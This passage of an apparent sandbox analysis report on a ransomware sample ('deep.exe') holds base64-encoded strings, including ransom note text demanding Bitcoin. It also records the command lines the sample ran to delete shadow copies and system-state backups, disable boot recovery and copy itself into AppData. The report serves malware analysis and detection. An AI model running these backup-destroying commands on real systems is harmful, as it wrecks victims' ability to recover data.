FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"VGhlIHRvdGFsIHNpemUgb2YgZmlsZXMgbXVzdCBiZSBsZXNzIHRoYW4gMTBNYiAobm9uIGFyY2hpdmVkKSwgYW5kIGZpbGVzIHNob3VsZCBub3QgY29udGFpbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"VGhpcyBlbWFpbCB3aWxsIGJlIGFzIGNvbmZpcm1hdGlvbiB5b3UgYXJlIHJlYWR5IHRvIHBheSBmb3IgZGVjcnlwdGlvbiBrZXku","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"dmFsdWFibGUgaW5mb3JtYXRpb24gKGRhdGFiYXNlcywgYmFja3VwcywgbGFyZ2UgZXhjZWwgc2hlZXRzLCBldGMuKS4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"WW91IGhhdmUgdG8gcGF5IGZvciBkZWNyeXB0aW9uIGluIEJpdGNvaW5zLiBUaGUgcHJpY2UgZGVwZW5kcyBvbiBob3cgZmFzdCB5b3Ugd3JpdGUgdG8gdXMu","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"WW91ciBmaWxlcyBhcmUgbm93IGVuY3J5cHRlZCE=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"$36","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"WW91ciBwZXJzb25hbCBpZGVudGlmaWVyOg==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null}]},{"name":"screen_2.png","strings":[{"value":"KGRhdGFiYXNlcyw=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Mjk2MkRFMTg3OUUzOTE2NzNBNTM1NkIxNjk5QTdBRTk4Q0UzQTRfMkQyOThfQjhGRDdCQkM4Q19EX0Q5MkQ3MjQ3RkNDRDkyNDQyQzcyMjEzM0NBNUNfQUE0X0YxMjg5RkYzRg==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"MzU5QjI4MjYyQjc1Qjk1Qjg3MTFCRjQyNTQ3NzFCOEEyQzlERURGNTcxQjFFNkM2QTY1OUU4QjYzQkI5ODFFQjY1MTNfQjc3NDJENTFENDhCOEEzX0E2MjY0NF82OEQ4RjZERQ==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"NkFfMl9fX19fX19fX19fXzI3RjE3MTM5MUQ5MkM5MTE4XzNfX0NfMzVCOTI2RkJCRkZDNkQ4M19GOTNfRV9DODVBODlfQzU3QTY3QzUyMTk5NTM3MTc1MzE3NUQzMkY3MjhFRA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"XzE2QzhDRTY5MjNGODRENkRCMjYxRDVfRl9GQ0U4MjgzQzlGOUZBNTJCQUIzMTdE","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"XzQ3XzFCMkIzRTU2NkJCMkI2Njg4MTExRTU2MTFFNjVBMjE4NTI4NkZEOEVBXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"X0U0NDM4NTJfNENCNEUyNEIzMURDNjNCMkY0NUQx","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"YXJjaGl1ZWQpLA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"YmFja3Vwcyw=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"YmVnaW5uZXJz","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Yml0Y29pbnMnLA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Qml0Y29pbnMu","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Qml0Y29pbnM/","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Q0JGX0M1OTZFQTZCRTE1QjFFNl8xRTkx","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Y29uZmlybWF0aW9u","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZGVjcnlwdA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZGVjcnlwdGlvbg==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZGVjcnlwdGlvbi4=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"RTVFRDdfRDQ3MkQzNjlBQTNDMzYyQkIyNDNFN0NFRkNEOUNDMzkyMjNFODdDQzhBQkIxNUJEOTk2RUUxRDY4ODVGRURGNERDQkE2NjM3MjNBNEIyNEU4NEVFRUM0NkE2QjZBRQ==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZW5jcnlwdGVk","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZW5jcnlwdGVkIQ==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"RjMzMzRDNjQ3MjZGN19DRTNFNDlfRDRBQ0VCNDdCOUIzRDhENjcyQUI2M0Q3MkI0RkU4RTg0RjVCOV8yM0Y3QzZDNjNENDRCNEMyODM3Q184QkFFNEZfMTVEX0MzQjExOTFBNQ==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Z3VhcmFudGVlIQ==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"SE9fJ19UT1JfQ09fX1JfTkNSWVBUX0RuTF9TLU5jdGVjYWQ=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cHM6Ly9sb2NhbGJpdGNvaW5zLmNvbS9idXk=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"aWRlbnRpZmllci4=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"aWRlbnRpZmllcjo=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"aW5mb3JtYXRpb24=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxCaXRjb2lucw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"bXJkZWVwQHByb3Rvbm1haWwuY29t","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"cGF5bWVudA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"cGVyc29uYWw=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"cmVnaXN0ZXIs","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"c2VjdXJpdHk=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null}]},{"name":"screen_0.png","strings":[{"value":"LGNfX19fX18s","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_0.png","compromised":null,"detection_total":null,"total":null},{"value":"Xz9fP18/TV9MXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_0.png","compromised":null,"detection_total":null,"total":null},{"value":"X18/bUpfX19fcV8/LCw/LD8/bT8/Xz9fdl9fLCwsXyws","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_0.png","compromised":null,"detection_total":null,"total":null},{"value":"bV9fX19xSl8sLA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_0.png","compromised":null,"detection_total":null,"total":null}]},{"name":"net.exe:3684","strings":[{"value":"LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ==","type":"Ansi","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEFDQy1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29ubmVjdGlvblR5cGU=","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVmZXJGbGFncw==","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TmV3IGNvbm5lY3Rpb25zIHdpbGwgYmUgcmVtZW1iZXJlZC4=","type":"Ansi","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJGbGFncw==","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJUeXBl","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3RlUGF0aA==","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UnBjQ2FjaGVUaW1lb3V0","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2F2ZUNvbm5lY3Rpb25z","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3RhdHVzICAgICAgIExvY2FsICAgICBSZW1vdGUgICAgICAgICAgICAgICAgICAgIE5ldHdvcms=","type":"Ansi","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGhlIGNvbW1hbmQgY29tcGxldGVkIHN1Y2Nlc3NmdWxseS4=","type":"Ansi","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"cmd.exe","strings":[{"value":"L2MgYmNkZWRpdCAvc2V0IHtkZWZhdWx0fSBib290c3RhdHVzcG9saWN5IGlnbm9yZWFsbGZhaWx1cmVz","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2MgYmNkZWRpdCAvc2V0IHtkZWZhdWx0fSByZWNvdmVyeWVuYWJsZWQgTm8=","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2MgY29weSAveSAiQzpcZGVlcC5leGUiICIlQVBQREFUQSVcZGVlcC5leGUi","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L0MgTkVUIFVTRQ==","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2Mgc3RhcnQgL21heCBub3RlcGFkLmV4ZSAiJVVTRVJQUk9GSUxFJVxIT1cgVE8gUkVDT1ZFUiBFTkNSWVBURUQgRklMRVMuVFhUIg==","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2MgdnNzYWRtaW4gRGVsZXRlIFNoYWRvd3MgL0FsbCAvUXVpZXQ=","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2Mgd2JhZG1pbiBERUxFVEUgU1lTVEVNU1RBVEVCQUNLVVAgLWtlZXBWZXJzaW9uczow","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2Mgd21pYyBTSEFET1dDT1BZIERFTEVURQ==","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"vssadmin.exe:4044","strings":[{"value":"MjA4MUZCNUQ=","type":"Unicode","source":"Runtime Data","process":"vssadmin.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEU1OC1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"vssadmin.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"wbadmin.exe:1104","strings":[{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEFCQy1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"wbadmin.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"bcdedit.exe:3844","strings":[{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEIxOC1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"bcdedit.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtU3RhcnRPcHRpb25z","type":"Unicode","source":"Runtime Data","process":"bcdedit.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHJlYXRBc1N5c3RlbQ==","type":"Unicode","source":"Runtime Data","process":"bcdedit.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"bcdedit.exe:3880","strings":[{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEM4MC1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"bcdedit.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"deep.exe:2420","strings":[{"value":"XFNlc3Npb25zXDFcV2luZG93c1xBcGlQb3J0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFRoZW1lQXBpUG9ydA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ODE3N2Y0ZTQtYjUzZi0xMWU0LWE5YzItODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ODE3N2Y0ZTUtYjUzZi0xMWU0LWE5YzItODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWx3YXlzU2hvd0V4dA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlcw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljb2RlRW5hYmxlZA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0NoZWNrU2VsZWN0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0RldGVjdA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QnJvd3NlSW5QbGFjZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZvckF0dHJpYnV0ZXM=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2F0ZWdvcnk=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q0VJUEVuYWJsZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29tK0VuYWJsZWQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29tcHV0ZXJOYW1l","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29udGVudCBUeXBl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVXJpQ2FjaGVTaXpl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q1dESWxsZWdhbEluRExMU2VhcmNo","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVidWdIZWFwRmxhZ3M=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVsZWdhdGVFeGVjdXRl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGV2aWNlUGF0aA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUVuZ2luZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUltcHJvdmVkWm9uZUNoZWNr","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUxvY2FsT3ZlcnJpZGU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZU1ldGFGaWxlcw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVNlY3VyaXR5U2V0dGluZ3NDaGVjaw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVVzZXJNb2RlQ2FsbGJhY2tGaWx0ZXI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RG9jT2JqZWN0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RG9udFByZXR0eVBhdGg=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJpdmVNYXNr","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJpdmVyRGVzYw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlUHVueWNvZGU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZSBNb25pdG9yIC0gU3lzaW50ZXJuYWxzOiB3d3cuc3lzaW50ZXJuYWxzLmNvbQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZW1vbkNsYXNz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rm9sZGVyVHlwZUlE","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R0JEWUxMTw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2VuZXJhdGlvbg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGFzTmF2aWdhdGlvbkVudW0=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGlkZUZpbGVFeHQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGlkZUZvbGRlclZlcmJz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGlkZUljb25z","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGlkZUluV2ViVmlldw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGlkZU9uRGVza3RvcFBlclVzZXI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SWNvbnNPbmx5","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5pdEZvbGRlckhhbmRsZXI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5wcm9jU2VydmVyMzI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW50cmFuZXROYW1l","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNvbGF0ZWRDb21tYW5k","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNTaG9ydGN1dA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGRhcENsaWVudEludGVncml0eQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9hZEFwcEluaXRfRExMcw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxpemVkTmFtZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxSZWRpcmVjdE9ubHk=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFjaGluZVByZWZlcnJlZFVJTGFuZ3VhZ2Vz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFwTmV0RHJpdmVWZXJicw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFwTmV0RHJ2QnRu","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFydGFFeHRlbnNpb24=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4aW1pemVBcHBz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4UnBjU2l6ZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4U3hTSGFzaENvdW50","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TmRyT2xlRXh0RExM","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TmV2ZXJTaG93RXh0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Tm9GaWxlRm9sZGVySnVuY3Rpb24=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Tm9OZXRDcmF3bGluZw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Tm9Xb3JraW5nRGlyZWN0b3J5","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T0xMWURCRw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T09CRUluUHJvZ3Jlc3M=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFnZUFsbG9jYXRvclN5c3RlbUhlYXBJc1ByaXZhdGU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFnZUFsbG9jYXRvclVzZVN5c3RlbUhlYXA=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFyZW50Rm9sZGVy","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFyc2luZ05hbWU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"cGVkaXkwNg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGluVG9OYW1lU3BhY2VUcmVl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJlQ3JlYXRl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJlZmVyRXh0ZXJuYWxNYW5pZmVzdA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJlZmVycmVkVUlMYW5ndWFnZXM=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzcyBNb25pdG9yIC0gU3lzaW50ZXJuYWxzOiB3d3cuc3lzaW50ZXJuYWxzLmNvbQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UFJPQ01PTl9XSU5ET1dfQ0xBU1M=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvZmlsZUltYWdlUGF0aA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJveHlCeXBhc3M=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHVibGlzaEV4cGFuZGVkUGF0aA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlGb3JJbmZvVGlw","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlGb3JPdmVybGF5","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0cnkgTW9uaXRvciAtIFN5c2ludGVybmFsczogd3d3LnN5c2ludGVybmFscy5jb20=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnbW9uQ2xhc3M=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVsYXRpdmVQYXRo","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVzdHJpY3RlZEF0dHJpYnV0ZXM=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2FmZURsbFNlYXJjaE1vZGU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VjdXJpdHk=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VjdXJpdHlfSEtMTV9vbmx5","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VwYXJhdGVQcm9jZXNz","type":"Unicode","source":"Runtime 